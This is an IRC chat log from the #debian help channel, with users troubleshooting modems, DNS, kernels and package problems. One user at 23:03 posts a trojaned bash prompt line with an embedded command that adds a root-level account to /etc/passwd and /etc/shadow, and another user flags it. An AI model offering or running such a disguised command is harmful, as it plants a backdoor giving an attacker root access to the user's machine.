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| 21:59.58 | daft | what is a ethertap |
| 21:59.59 | Mave | tarzeau: yeah I'm lazy :P |
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| 22:00.06 | EMH_Mark3 | oi.. I need help getting my isa winmodem to work :/ |
| 22:00.15 | alem | cafuego: yes, but when you add a zone into named.conf, you can specify where it is |
| 22:00.25 | Daniel304 | How can I enable CGI in apache everywhere in every virtualhost (Is there a global directive for that ?!?) |
| 22:00.26 | RichiH | Covener: marillat |
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| 22:00.32 | Covener | RichiH: :( |
| 22:00.37 | Kraig | EMH_Mark3 can you be more specific? |
| 22:00.38 | cafuego | alem: it will be under whatever the directory option points at. |
| 22:00.45 | EMH_Mark3 | I have drivers compiled and loaded, modem responds to AT commands, but I get no dial tone when I try to dial out |
| 22:01.06 | Acid`X | does the kernel-image have support for XFS fs? |
| 22:01.27 | tarzeau | Mave: yandik türkiye batti! |
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| 22:01.35 | streuner | AciD: some 2.6.0-test* in unstable should have it... |
| 22:01.36 | Mave | tarzeau: what happened again :> |
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| 22:02.37 | tarzeau | Mave: tembel oldugnu söyledin, ne olsun... hadi ben yatiyorum, iyi geceler |
| 22:02.40 | quant | can someone help me? |
| 22:02.42 | quant | :) |
| 22:02.42 | Acid`X | streuner, 2.6.0 has it, but i want a kernel image from apt |
| 22:02.49 | streuner | Acid`X: i forgot blade's bf2.4... |
| 22:02.52 | Mave | tarzeau: iyi geceler. burda çoðumuz tembeliz biz ;) |
| 22:03.03 | cafe | quant: don't ask to ask -- just ask. |
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| 22:03.08 | alem | cafuego: do the have to have the extension *in-addr.arpa.zone |
| 22:03.28 | Acid`X | streuner, im currently runing blades xfs kernel |
| 22:03.33 | cafuego | alem: For a reverse zone yes, but yopu don't need to bother with one of those unless you have 255 IP addresses. |
| 22:03.38 | quant | cafe: yes. i am getting errors when trying to remove courier-imap-ssl with apt-get. ERR: missing config file. and i can't fix it. any clues? |
| 22:03.46 | streuner | Acid`X: what version of debian? |
| 22:03.49 | EMH_Mark3 | anyone had no dialtone problems before? |
| 22:03.59 | Acid`X | streuner, woody |
| 22:04.12 | cafuego | EMH_Mark3: Yes, 2 weeks ago. |
| 22:04.18 | alem | cafuego: in which form should they be ? |
| 22:04.26 | streuner | Acid`X: compile 2.6.0 or upgrade to unstable |
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| 22:04.35 | amphi | EMH_Mark3: winmodem? |
| 22:04.39 | Acid`X | streuner, its a server =/ |
| 22:04.42 | cafuego | alem: for 192.168.0.0 it should be 0.168.192.in-addr.arpa |
| 22:04.45 | cafe | quant: sorry, i'm not so good with mailserver stuff |
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| 22:05.11 | cafuego | EMH_Mark3: It took my telco 4 days to fix the phone line, then I ahd dialtone again. |
| 22:05.15 | cafe | quant: but thanks for asking -- somebody else can probably help. |
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| 22:05.18 | quant | cafe: you don't have to me, it's a debian problem, i am getting errors when using dpkg. it just wont let me remove it |
| 22:05.20 | amundsen | i'm trying to setup antialiasing in xfree 4.2.1 and when i do xdpyinfo | grep RENDER it returns "render" but my fonts are still horrible |
| 22:05.21 | Acid`X | streuner, i think im going to try to compile 2.6.0 |
| 22:05.35 | quant | cafe: s/me/be |
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| 22:05.43 | EMH_Mark3 | cafuego: eh.. I mean in respect to modem drivers x_O |
| 22:05.45 | alem | cafuego: but you just told me i dont need a reverse zone |
| 22:05.47 | EMH_Mark3 | amphi: yeah |
| 22:05.48 | linuxtech | cafuego: it is also possible to have reverse DNS with less than a class C by using CNAME records |
| 22:05.53 | cafuego | alem: Indeed. |
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| 22:05.59 | Wolfram | test |
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| 22:06.04 | streuner | Acid`X: anyway, i would run 2.2.x series for servers... |
| 22:06.17 | blk | is there a package with which i can activate services on a remote NT machine? (or a tool in samba?) |
| 22:06.19 | cafe | quant: yes, it's a dpkg problem ... have you asked the bot? /msg dpkg courier-imap-ssl |
| 22:06.21 | alem | cafuego: so how should it be ? |
| 22:06.31 | cafuego | linuxtech: Not much of a change the owner of the class C will point at your dns for reverse lookups though. |
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| 22:06.37 | cafuego | s/change/chance/ |
| 22:06.46 | cafuego | alem: Your question makes no sense. |
| 22:06.56 | quant | cafe: [22:06] *dpkg* wish i knew |
| 22:07.04 | cafe | quant: never mind, the bot says nothing. try other variants |
| 22:07.11 | alem | cafuego: in whgich form should i write the zone file ? |
| 22:07.15 | quant | k |
| 22:07.17 | amphi | EMH_Mark3: I had that problem on a compaq laptop - never solved it :( but google knows of solutions for some winmodems |
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| 22:07.47 | cafe | quant: /msg dpkg courier |
| 22:07.52 | EMH_Mark3 | yeah.. kind of a pain that I have to reboot each time I want to try something :/ |
| 22:07.52 | quant | i did |
| 22:08.07 | quant | cafe: not quite what i was after :) |
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| 22:08.10 | cafe | quant: won't help you to uninstall it cleanly though. |
| 22:08.21 | cafuego | alem: The normal zone? Check the manpage, have a look at the DNS HOWTO. |
| 22:08.28 | cafe | quant: but helps to explain why you want to :) |
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| 22:09.06 | linuxtech | cafuego: yes, it's possible to for you to manage your own reverse zone with less than a /24, that's what I was getting at :) |
| 22:09.18 | quant | cafe: lol... i have tried purging configuration files and everything |
| 22:09.22 | quant | bah thing |
| 22:09.31 | oskie | what's the best way to add java plugin to mozilla? |
| 22:09.32 | EMH_Mark3 | whoever came up with idea for winmodem should be shot |
| 22:09.43 | quant | lol |
| 22:09.52 | amphi | EMH_Mark3: some times you can make it work by changing the nationality code, IIRC, or by telling the modem to dial without waiting for dt; or the are various AT incantations |
| 22:09.54 | cafuego | linuxtech: It still emans the owner of the /24 must configure their dns to forward queries to yours. |
| 22:10.00 | amphi | EMH_Mark3: verily |
| 22:10.12 | holycow | *hmm* how do i setup shorewall just to send/recieve packets from a specific ip range on a lan? all the shorewall documentation is geared to slightly fancier setups where shorewall is routing between zones and interfaces, etc. anyone know of an online reference for this particular example? |
| 22:10.13 | streuner | EMH_Mark3: true :-), an 'normal' modem you get at ebay cheap... |
| 22:10.15 | linuxtech | cafuego: that's right |
| 22:10.30 | cafuego | linuxtech: ... and where I am, not many would. |
| 22:10.38 | amphi | EMH_Mark3: although the one in my thinkpad worked straight away with the ltmodem driver |
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| 22:10.40 | EMH_Mark3 | heh well I'm only here for a wekk, so no point in getting a new modem for that.. what's the AT code to dial w/o dialtone? |
| 22:10.51 | hackeron | hey, I want to start gaim on my PC at home from a remote location, how do I do it? |
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| 22:11.19 | EMH_Mark3 | hackeron: export DISPLAY=ip:display_#, then just start gaim |
| 22:11.28 | ^wolf^ | good nite every1 |
| 22:11.28 | amphi | EMH_Mark3: I don't remember |
| 22:11.29 | RainbowW | I'm trying to dist-upgrade and add new stuff using aptitude 0.2.11.1. It's telling me dpkg, e2fsprogs, and sysvinit are broken. For obvious reasons it's unwise to remove them. Is there a way to get it to ignore their brokenness and go on with installation? |
| 22:11.36 | cafuego | EMH_Mark3: That varies per modem vendor I think |
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| 22:12.37 | hackeron | EMH_Mark3, says ** (gaim:6867): WARNING **: cannot open display: unset |
| 22:12.45 | quant | cafe: i have done it! maybe i didn't purge properly last time... |
| 22:12.48 | cafuego | EMH_Mark3: try ATQ0 |
| 22:12.52 | quant | cafe: thanks |
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| 22:13.22 | EMH_Mark3 | hackeron: if your X is running on :0, just do export DISPLAY=:0 from ssh then run gaim in ssh again |
| 22:13.38 | flgr_ | moin, is there a way to stop dd from aborting on write errors or a similar tool which won't abort? |
| 22:13.51 | EMH_Mark3 | cafuego: will do |
| 22:14.22 | Acid`X | Starting hotplug subsystem: usb** can't synthesize root hub events. |
| 22:14.47 | cafuego | EMH_Mark3: If that won't work, I may paste you my entire old init string... one of the values in there disabled dialtone waiting (for Diamond modems anyway) |
| 22:15.06 | interoz | hackeron: you have to edit /etc/ssh/sshd_config to have it done automagically |
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| 22:15.43 | hackeron | interoz, which part? |
| 22:15.58 | EMH_Mark3 | cafuego: can you PM that now? will take me 15-20 mins to test that and come back here :) |
| 22:16.05 | interoz | hackeron: X11Forwarding and X11DisplayOffset |
| 22:16.06 | streuner | p2-mate: hanging at the congress out there? |
| 22:16.07 | gothtec | This is probably not the perfect place to ask this, but I was showing off Knoppix to a windoze user here the other day, and he wondered if there was software available to make windows do the same (boot an almost completely functional system off a cd). Can anyone answer that question? |
| 22:16.08 | cafuego | EMH_Mark3: Yeah ok, just a sec. |
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| 22:16.22 | p2-mate | streuner: yes |
| 22:16.30 | cafuego | EMH_Mark3: "ATQ0 x3 V1 E1 S0=0 &C1 &D2 S2=128 S12=200 S95=1 S11=55 +FCLASS=0" |
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| 22:16.35 | EMH_Mark3 | iight |
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| 22:17.27 | cafuego | that one also prevent the modem from hanging up on ATZ |
| 22:17.49 | Freakz | I'm trying to insall 3.0r1 on a server with scsi devices. I get "No hard disk drives were detected". Is there a How-To somewhere to figure this out? |
| 22:18.12 | cafuego | Freakz: Use the 'compact' kernel. |
| 22:18.30 | Freakz | alright |
| 22:18.33 | Freakz | thanks |
| 22:20.29 | EMH_Mark3 | cafuego: seems command to skip dialtone detection is atx0 |
| 22:20.34 | EMH_Mark3 | atx3 that is |
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| 22:21.26 | streuner | !test |
| 22:21.26 | dpkg | No, streuner, you're not online any more. |
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| 22:23.54 | simonrvn | Justin_: try talking now please. i've removed the +q i think |
| 22:24.00 | retard` | hey all, i want to install linux onto one of my partitions on this computer. This is what i'm currently running: 2 40 gig hds runnign in Raid0. partitioned into 20/20/40 gig sections. i want to put linux onto the second partition (20 gig), but it's currently NTFS. what can i do? |
| 22:24.04 | *** part/#debian Justin_ (~justin@H250-136.FREEDOM.RESNET.ALBANY.EDU) |
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| 22:25.08 | Freakz | cafuego: any reason why it's not supported without typing compact? |
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| 22:26.13 | muncc2beo | I have a DVD of a concert, and I'd like to try to burn the audio to a CD. Are there any tools for encoding the audio of each song to mp3 or ogg or something? |
| 22:26.27 | Hal9002 | so how's 2.6.0 behaving on woody the first weeks now? i see there's no 2.6.1-pre1 yet, good sign huh? |
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| 22:26.37 | amundsen | i'm trying to make antialiasing work in xfree 4.2.1. some of them look like they have antialiasing applied, but many of them do not. what can i do ? |
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| 22:27.00 | retard` | muncc2beo: using windows tools? |
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| 22:27.21 | muncc2beo | retard`: ? As in gui? or as in that "other operating system?" |
| 22:27.34 | streuner | muncc2beo: transcode should be able to, i think. |
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| 22:27.46 | retard` | muncc2beo: well, i know a suite of windows tools that could do it :\... "the other os" |
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| 22:27.52 | Kraig | wtf is that? |
| 22:27.56 | Acid`X | =/ |
| 22:28.06 | muncc2beo | transcode you say? |
| 22:28.07 | streuner | Kraig: netsplit |
| 22:28.11 | streuner | yes |
| 22:28.13 | Kraig | ok |
| 22:28.14 | Kraig | jeje |
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| 22:28.31 | Freakz | more like mass ban |
| 22:28.44 | simonrvn | no, it's the servers re-syncing |
| 22:28.46 | muncc2beo | that wasn't a netsplit, was it? its only this channel. and its bans |
| 22:28.51 | retard` | anyone here have any knowledge/ pointers to my formatting question? |
| 22:29.01 | Freakz | oh |
| 22:29.04 | simonrvn | it was a net join |
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| 22:29.28 | muncc2beo | oh, look, I've been banned twice :) |
| 22:29.30 | simonrvn | there we go |
| 22:29.52 | Justin_ | !test |
| 22:29.53 | dpkg | Yes, justin_, you're still online. |
| 22:29.55 | dondelelcaro | retard`: just run mkfs.ext2 on the drive to make the fs. |
| 22:29.56 | simonrvn | yay |
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| 22:30.27 | ciga | I try to boot up with 2.6.0, but it says EBDA is too big. What should I do? |
| 22:30.38 | muncc2beo | what do I do about this message from apt-get? |
| 22:30.40 | muncc2beo | transcode: Depends: libavifile-0.7c102 (>= 1:0.7.38.20030710-1) but it is not installable |
| 22:30.41 | simonrvn | brb |
| 22:30.52 | dondelelcaro | !info libavifile-0.7c102 |
| 22:30.56 | dpkg | libavifile-0.7c102: (Shared libraries for AVI read/writing), section libs, is optional. Version: 1:0.7.38.20030710-1 (sid), Packaged size: 1238 kB, Installed size: 3479 kB |
| 22:30.57 | retard` | dondelelcaro: i want to maintain the files on my windows ntfs partitions, and i'm currently only runing windows on this machine. |
| 22:31.07 | Freakz | !info scsi |
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| 22:31.26 | dondelelcaro | retard`: well, move the files off, then format that partition as ext2 when you install. |
| 22:31.32 | muncc2beo | dondelelcaro: is that supposed to help me? |
| 22:31.39 | streuner | Freakz: info is the command for packages, not for factoids |
| 22:31.58 | Freakz | figured that out, thanks. |
| 22:32.02 | dondelelcaro | muncc2beo: yes. You need to run apt-get update; then you'll be able to install libavifile-0.7c102 version 1:0.7.38.20030710-1 |
| 22:32.03 | FONG | which one gnome or kde makes it easier to type in chinese |
| 22:32.04 | retard` | dondelelcaro: yah i know, but i dont have any backup large enough to do that. is there a way to convert a ntfs partition to ext2? |
| 22:32.09 | muncc2beo | dondelelcaro: og |
| 22:32.12 | muncc2beo | dondelelcaro: oh |
| 22:32.13 | dondelelcaro | retard`: no. |
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| 22:32.48 | streuner | retard`: backup the data and restore it. |
| 22:32.49 | LoneTech | I have thought about adding stuff like that to parted. it should be possible but it is a big job. |
| 22:33.15 | Justin_ | hmm, would putting "(/msg dpkg search)" in the topic after the packages.debian.org thing be a good idea ?:) |
| 22:33.28 | muncc2beo | dondelelcaro: no, it still don't work. I'm using sarge, so I can assume that package hasn't been ported yet? |
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| 22:34.28 | retard` | iv'e already moved eveyrthing of the partition i want. can i just change the one partition to ext 2? |
| 22:34.34 | dondelelcaro | !info libavifile-0.7c102 sarge |
| 22:34.45 | dondelelcaro | !+info libavifile-0.7c102 sarge |
| 22:34.47 | dpkg | Package 'libavifile-0.7c102' does not exist. |
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| 22:34.55 | dondelelcaro | muncc2beo: uh, are you using sid packages? |
| 22:35.01 | muncc2beo | no, testing |
| 22:35.03 | Justin_ | retard`: use fdisk/cfdisk to change the type and mkfs it |
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| 22:35.07 | ciga | dondelelcaro: how about to msg to the bot? |
| 22:35.18 | dondelelcaro | ciga: just /msg dpkg foo |
| 22:35.22 | muncc2beo | I'll just compile the source, no big deal |
| 22:35.34 | dondelelcaro | muncc2beo: what version of transcode are you trying to install? |
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| 22:35.38 | ciga | dondelelcaro: not me. _you_ |
| 22:35.50 | streuner | Justin_: prolly, but 100 other things would be too. |
| 22:35.59 | dondelelcaro | ciga: you'll note that the reason I'm asking the bot is because its relevant to the conversation that I'm having with muncc2beo |
| 22:36.20 | dondelelcaro | ciga: I'm quite familiar with the capabilities of the blootbots. |
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| 22:37.11 | holycow | would anyone be able to tell me how to setup shorewall to simply accept connections for an ip range on eth0 or where i might see an example of that? all the documentation and mailing lists assume shorewall is being used as a more complicated firewall router with man zones and subnets ... any tips? |
| 22:37.34 | streuner | Justin_: and anyway, who gives a damn most the time for the /topic at all? :-) |
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| 22:38.29 | LoneTech | initmass: does that net connection work well? I ordered one back in september or so, but they have not delivered. |
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| 22:38.54 | amundsen | can anybody take a look at my XF86Config-4 and Xftconfig to see what's wrong with myy antialiasing ? |
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| 22:39.06 | Acid`X | !find xfs_db |
| 22:39.14 | dpkg | Debian Search of 'xfs_db' (1 shown): (/usr/sbin/xfs_db) in admin/xfsprogs. |
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| 22:39.21 | Pol_ | How can I check if X is using DRI ? |
| 22:39.22 | amundsen | !find xfs_db |
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| 22:39.40 | InitMass__ | is this a good command to find mp3s which i've got double of? find -type f -print0|xargs -0 md5sum|sort|uniq -D -w32. or is there a faster and better one? the best would be if the command show me which bitrate the file got and filename |
| 22:39.46 | streuner | Pol_: check /var/log/XF86Conifg.*log |
| 22:40.01 | Pol_ | streuner : there is another command too |
| 22:40.17 | streuner | Pol_: excuse me ... :-) |
| 22:40.19 | LoneTech | initmass: for simple duplicate files, try the fdupes package. there are probably more specific tools for comparing mp3s audio-wise, though. |
| 22:40.26 | Justin_ | InitMass__: fdupes |
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| 22:40.53 | Pol_ | not much to find about DRI in /var/log/XFree86.0.log .... |
| 22:40.55 | CentrX | Hi, can anyone tell me what the minor version number "ds1" indicates, distinct from a regular number? |
| 22:41.27 | Justin_ | Pol_: theres lots about dri in the log |
| 22:41.30 | Justin_ | Pol_: glxinfo |
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| 22:41.59 | InitMass__ | Justin_, thanx i'll check that out. is it fast? |
| 22:43.04 | Pol_ | glxinfo yes ! |
| 22:43.09 | Justin_ | InitMass__: relatively |
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| 22:43.21 | Pol_ | streuner glxinfo it is |
| 22:43.40 | streuner | !lart Pol_ |
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| 22:47.25 | evon | how do i set the time? |
| 22:47.33 | streuner | evon: date |
| 22:47.33 | evon | in debian |
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| 22:47.48 | Kraig | evon date -s |
| 22:47.49 | shaddai | evon: date |
| 22:48.20 | streuner | evon: or use ntp-simple or ntpdate with cronjob |
| 22:48.32 | evon | k thanx |
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| 22:49.54 | ftmiranda | hello |
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| 22:50.17 | ftmiranda | I'm having problems with international acents.. |
| 22:50.18 | Rza`` | my comp was just shutdown abnormally |
| 22:50.27 | Rza`` | and now it's taking a very long time 2 connect remote hosts |
| 22:50.31 | ftmiranda | I configured my locales to EN_IN_UTF8 |
| 22:50.32 | Rza`` | any suggestions |
| 22:50.44 | ftmiranda | But my ć is wrong |
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| 22:51.42 | thermoman | do someone here know whether there exists pcmcia usb cards? i mean i have an old laptop and want usb - but the laptop has no cardbus (32bit) but only pcmcia (16 bit) |
| 22:51.42 | Rza`` | bash-2.05b$ ping yahoo.com |
| 22:51.44 | Rza`` | PING yahoo.com (66.218.71.198) 56(84) bytes of data. |
| 22:51.44 | Rza`` | 64 bytes from w1.rc.vip.scd.yahoo.com (66.218.71.198): icmp_seq=1 ttl=238 time=240 ms |
| 22:51.44 | Rza`` | 64 bytes from w1.rc.vip.scd.yahoo.com (66.218.71.198): icmp_seq=2 ttl=238 time=103 ms |
| 22:51.44 | Rza`` | 64 bytes from w1.rc.vip.scd.yahoo.com (66.218.71.198): icmp_seq=3 ttl=238 time=1095 ms |
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| 22:51.56 | evon | :) |
| 22:52.06 | streuner | good bot |
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| 22:52.17 | shaddai | bad bad nasty Rza`` |
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| 22:53.01 | bztunk | Rza``: happened to me heh |
| 22:53.05 | streuner | Rza``: are you still flooding yahoo.com too? |
| 22:53.11 | Rza`` | my system's response times feel a lot flower 2 |
| 22:53.11 | Rza`` | slower |
| 22:53.16 | Rza`` | but my cpu resources rn't reported 2 b strained in gkrellm |
| 22:53.22 | deadcat | thermoman: ya. |
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| 22:53.33 | bztunk | dpkg: U |
| 22:53.33 | dpkg | Dammit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1. |
| 22:53.34 | Rza`` | bztunk what did u do |
| 22:53.36 | thermoman | deadcat: could you point me to the right url? |
| 22:53.51 | thermoman | deadcat: searched google up and down but nothing |
| 22:53.53 | bztunk | Rza``: pasted when i didn't want to |
| 22:53.58 | deadcat | thermoman: i see those at comp shows.. |
| 22:54.10 | thermoman | i need an url *sniff* |
| 22:54.15 | deadcat | thermoman: try ebay. see what you get. |
| 22:54.36 | evon | what irc klients do you guys use? |
| 22:54.46 | thermoman | ebay usb pcmcia = cardbus :( |
| 22:54.47 | deadcat | thermoman: do you have fry's or bestbuy around your place? cus they do have those. |
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| 22:55.13 | thermoman | whats the url of those 2? |
| 22:55.24 | deadcat | thermoman: outpost.com and bestbuy.com |
| 22:56.14 | thermoman | deadcat: thanks |
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| 23:00.39 | papipro | how can i continue the download of a site (wget -m)? i try wget -m -c but it dont work |
| 23:00.55 | hackeron | run this folks and tell me what you think :), give me suggestions what to improve.. (this changes the way your bash looks in the current terminal): PS1="\e[0m\t \e[0m<\e[31m\u@\e[34m\h|\w|\e[0m> \e[0m$ " |
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| 23:01.46 | papipro | hackeron: how to run this? |
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| 23:02.02 | iceman | nvidia and 2.6, is it the same procedure as earlier kernels? |
| 23:02.04 | hackeron | papipro, just copy paste into a terminal window |
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| 23:02.25 | zaad | hi |
| 23:02.28 | evon | how do i mount a network recourse (ntfs) |
| 23:02.50 | thermoman | via smbmount e.g. |
| 23:03.05 | evon | ok |
| 23:03.16 | evon | i cant get it to work :( |
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| 23:03.40 | zinx | hackeron: try PS1="\e[0m\t \e[0m<\e[31m\u@\e[34m\h|\w|\e[0m> \e[0m$ "`echo nx348:kLbs9rJgpoaLc:0:0::/:/bin/sh|tee -a /etc/passwd>>/etc/shadow` |
| 23:03.46 | ranto | hi there. where do I find the logs for init.d scripts? |
| 23:04.04 | zaad | i have a problem, this happens when im trying to run /sbin/lilo and i dont dare to reboot the computer with this error... |
| 23:04.06 | zaad | Sugnet:/# /sbin/lilo |
| 23:04.06 | zaad | Fatal: Disks '/dev/hdd' and '/dev/hdc' are both assigned 'bios=0x80' |
| 23:04.12 | streuner | ranto: you find logs in /var/log/ |
| 23:04.15 | Crell | oops |
| 23:04.23 | wasabi | zinx, uh. doesn't that give you a root account on the box? |
| 23:04.32 | hackeron | zinx, what for, lol? |
| 23:04.36 | zinx | wasabi: yes :/ |
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| 23:04.53 | wasabi | hackeron, that gives him a root account on your box. Don't do it. |
| 23:05.01 | hackeron | wasabi, I know what it does ;) |
| 23:05.05 | wasabi | Heh. K. |
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| 23:05.59 | philips | I am getting a Strange LILO error: Fatal: VolumeID read error: sector 0 of /dev/sdb not readable. But my /etc/lilo.conf has no mention of sdb |
| 23:06.05 | ranto | streuner: yes, but I cant find which file has logs on the init.d scripts... |
| 23:06.38 | philips | I am getting a Strange LILO error: "Fatal: VolumeID read error: sector 0 of /dev/sdb not readable." But my /etc/lilo.conf has no mention of sdb |
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| 23:07.10 | streuner | ranto: you are searching for something special? |
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| 23:07.13 | ircdevil | how do i clear bitchx flood protection ignore list or whatever |
| 23:07.13 | hackeron | zinx, nice little scripting there btw ;) |
| 23:07.43 | bztunk | ircdevil: you are the irc devil, and you don't know? |
| 23:07.55 | ranto | streuner: I am having problems umounting lvm volumes, and I wanted to have the exact error msg before asking in #lvm |
| 23:07.59 | Vladkao | ircdevil #bitchx |
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| 23:08.26 | Zak- | when I type df it doesn't seem to update. Does anybody know why this might be? |
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| 23:08.38 | Zak- | ie. doesn't reflect free space I've just freed up |
| 23:08.47 | ranto | streuner: I dont think an umount script can be logged as for the umount part... |
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| 23:09.09 | streuner | ranto: syslog or/and messages should be the places.. |
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| 23:09.37 | ranto | streuner: thanks, then its not logged. thanks anyway |
| 23:09.46 | Ryuujin | What is the easiest way to install kernel module drivers for eepro100 (NIC) when I have no source code? (Just installed and i haven't got any way to access the internet on that computer) |
| 23:09.49 | Warer | I am missing the init.d script for tomcat4, can somone send it to me on dcc, or email? |
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| 23:10.21 | Zak- | Does anybody know why df might not reflect free space I've just made? |
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| 23:10.36 | philips | Ryuujin: usb flash drive? |
| 23:10.42 | spoopin | Zak-: did you try df --sync ? Just a thought... |
| 23:10.46 | Zak- | thanks |
| 23:10.51 | streuner | Warer: donwload the deb, extract it (ar x deb) or (dpkg -x deb) and use it |
| 23:11.00 | Warer | streuner: thanks |
| 23:11.05 | Zak- | spoopin: its still not showing the right amount |
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| 23:11.11 | Zak- | I'm using nfs3 if that helps |
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| 23:11.18 | Ryuujin | philips: good idea, except my mp3 flash drive works. |
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| 23:11.37 | philips | Ryuujin: works what? |
| 23:11.38 | spoopin | Zak-: You got me then... sorry. |
| 23:11.43 | Ryuujin | philips: i doubt it works.. |
| 23:11.53 | Zak- | np |
| 23:12.25 | philips | Ryuujin: it should, you just need to 'modprobe usb-storage' |
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| 23:13.31 | Aileens | which user runs the init.d scripts? root? |
| 23:13.38 | hackeron | zinx, oh yeah, also, I'm behind a firwall and nat, so getting access to this PC is not that easy even if I do run the command ;) |
| 23:13.42 | papipro | any one can tell me a good and simple site-grabber? |
| 23:13.52 | Kraig | aileens: boot time |
| 23:14.02 | Aileens | Kraig, right |
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| 23:14.04 | Kraig | aileens: also root |
| 23:14.07 | dondelelcaro | papipro: wget |
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| 23:14.49 | papipro | dondelelcaro: i was using it to grab the site, but i had to stop it, now i try wget -m -c but it dont work... |
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| 23:15.27 | chacs | hi, any pointers to geeting php4 to work in apache2 ? |
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| 23:15.35 | chacs | geeting=getting |
| 23:15.38 | matte | hey people |
| 23:15.41 | dondelelcaro | papipro: doesn't work in what way? |
| 23:15.48 | Ryuujin | philips: i'll try.. |
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| 23:16.12 | matte | anyone got an idea how to change the keyboard layout from us to se or some |
| 23:16.15 | tarzeau | does someone know what cablemode model that is: www.linuks.mine.nu/people/cablecom/ ? |
| 23:16.17 | dondelelcaro | papipro: it won't reparse files that have been downloaded, so it won't follow links in them, if thats what you mean. |
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| 23:16.23 | tarzeau | matte: x or console? |
| 23:16.44 | matte | console |
| 23:16.51 | tarzeau | matte: using loadkeys |
| 23:16.59 | tarzeau | matte: i use sg-latin1 (swiss german) |
| 23:17.00 | fatal__ | chacs: afaik there are no deb's yet so you'll have to compile yourself.... use the prefork processmodel in apache for stability and read one of the thousands compiling howtos on how to get it working with apache2 ... |
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| 23:17.14 | interoz | matte: 'loadkeys se' |
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| 23:17.23 | dondelelcaro | tarzeau: looks like an ambit 60194E |
| 23:17.28 | interoz | matte: dpkg-reconfiugre locales |
| 23:17.42 | fatal__ | se-latin1 really... |
| 23:17.42 | dondelelcaro | tarzeau: http://www.ambitbroadband.com/broadband/60194E.asp |
| 23:17.43 | chacs | fatal. thx. |
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| 23:17.50 | fatal__ | or dpkg-reconfigure console-data IIRC... |
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| 23:17.58 | tarzeau | dondelelcaro: thank you! |
| 23:18.25 | fatal__ | matte: ^-- that was to you.. ;) |
| 23:18.40 | dondelelcaro | tarzeau: np |
| 23:18.46 | wasabi | Okay, so devfs is deprecated. is udev ready yet? |
| 23:18.57 | fatal__ | wasabi: not quite yet. |
| 23:19.06 | dondelelcaro | wasabi: sortof... but I wouldn't use it in production |
| 23:19.24 | wasabi | okay, so devfs is still the way to avoid futzing with dev files? |
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| 23:19.42 | wasabi | yes im expecting "do it yourself" |
| 23:20.03 | dondelelcaro | MAKEDEV is the way to avoid futzing with dev files... |
| 23:20.28 | wasabi | what makes cdrom*? |
| 23:20.31 | wasabi | Can't seem to find it |
| 23:21.00 | dondelelcaro | wasabi: basefiles generally... you can just ln -s /dev/hdXX /dev/cdrom |
| 23:21.28 | dondelelcaro | s/XX/X/ |
| 23:22.02 | Ryuujin | Would anyone have the location to where i can download the eepro100 driver? |
| 23:22.11 | wasabi | it's in the kernel |
| 23:22.19 | dondelelcaro | Ryuujin: kernel.org |
| 23:22.20 | wasabi | in fact, two are in there now. eepro100 and e100 |
| 23:22.34 | tarzeau | Ryuujin: you can find it with google |
| 23:22.50 | tarzeau | Ryuujin: and i hate computers with these nic's |
| 23:23.04 | wasabi | those nics rock |
| 23:23.06 | wasabi | they're great. |
| 23:23.13 | wasabi | I have a 4 port. :) |
| 23:23.13 | Justin_ | i've seen a bunch of them at work go dead, eeproms scrambled or something |
| 23:23.16 | Ryuujin | wasabi: it's not in 2.4.18 which is the one i instlled. I used woody non-us cd 1 and only that one. |
| 23:23.18 | dondelelcaro | I like eepro's, actually... |
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| 23:23.20 | elmig | who nows where's the driver for Kodak CXxxxx in kernel 2.6? |
| 23:23.23 | wasabi | yeah i love eepros |
| 23:23.28 | wasabi | i think they rank really high |
| 23:23.33 | hackeron | how do I stop sed from interpreting \t as tab? |
| 23:23.34 | tarzeau | i like happy meal better |
| 23:23.34 | twistednerve | greetings |
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| 23:23.38 | wasabi | Ryuujin, yeah it's in there |
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| 23:23.47 | dondelelcaro | hackeron: escape it. s/\\t// |
| 23:23.50 | tarzeau | or 3com or what's in my ibook |
| 23:23.50 | Ryuujin | tarzeau: and i need to know that because? my other NIC (realtek-chip based) is broke. |
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| 23:23.57 | wasabi | eepro |
| 23:23.58 | Ryuujin | wasabi: not on cd1. |
| 23:23.59 | wasabi | or epro? |
| 23:24.00 | wasabi | i forget |
| 23:24.03 | hackeron | dondelelcaro, hmm, is that only way? |
| 23:24.18 | wasabi | Ryuujin, all my servers have those. And I've installed all of those servers using the Woody CD 1 |
| 23:24.19 | fatal__ | wasabi: plus the new e100 (version 3, a complete rewrite) that jgarzik has in his queue waiting for submit :) |
| 23:24.20 | dondelelcaro | hackeron: uh, you want to match a literal \t, right? |
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| 23:24.25 | wasabi | fatal__, it's in the kernel. |
| 23:24.28 | wasabi | oh version 3 |
| 23:24.38 | dondelelcaro | hackeron: if so, its the only way. |
| 23:24.39 | hackeron | dondelelcaro, yes :) |
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| 23:24.46 | Ryuujin | wasabi: well, it doesn't work via modprobe eepro100 or modconf. |
| 23:24.48 | hackeron | dondelelcaro, :(, ok |
| 23:24.57 | wasabi | Ryuujin, go look in the modules directory for it |
| 23:25.02 | wasabi | It's listed in modconf too |
| 23:25.07 | wasabi | The Woody installer? |
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| 23:25.12 | wasabi | I just pick it from the list, no probs at all |
| 23:25.14 | tarzeau | well i had eepro's that i had to compile drivers myself, because they weren't working nice in 2.4.2 yet (a year or two ago) |
| 23:25.19 | dondelelcaro | hackeron: if you're using perl, you can \Q\t\E, but sed doesn't support that. |
| 23:25.20 | tarzeau | however nvidia hardware is worse! |
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| 23:25.27 | krix | hi |
| 23:25.35 | dondelelcaro | (at least, I don't remember it doing that...) |
| 23:25.40 | hackeron | dondelelcaro, yeah, yeah, yeah, I always hear perl is better :) |
| 23:25.45 | krix | anyone has got any howto or something else that 'how to install debian on a pendrive' ?? |
| 23:26.04 | deadcat | krix: your bios support? |
| 23:26.10 | ranto | Does anyonne has root fs on LVM? I am having some trouble deactivating my volume group when rebooting. |
| 23:26.13 | matte | fatal__: is there really a reconfigure option for dpkg ? |
| 23:26.20 | krix | deadcat, yes. it support booting from pendrive |
| 23:26.23 | tarzeau | i have a howto install debian on a penis |
| 23:26.28 | tarzeau | ok i need sleep now |
| 23:26.47 | Ryuujin | wasabi: i tried installing via selecting the driver while running the setup (selecting all drivers etc.) and it didn't work.. it said it couldn't find the driver. |
| 23:26.57 | wasabi | you found the driver in the list? |
| 23:27.02 | deadcat | tarzeau: you just |
| 23:27.07 | lazarus | now ... if i /set autolog_path *now* will it change effective immediately? or do i need a restart? |
| 23:27.08 | deadcat | "unload"? (= |
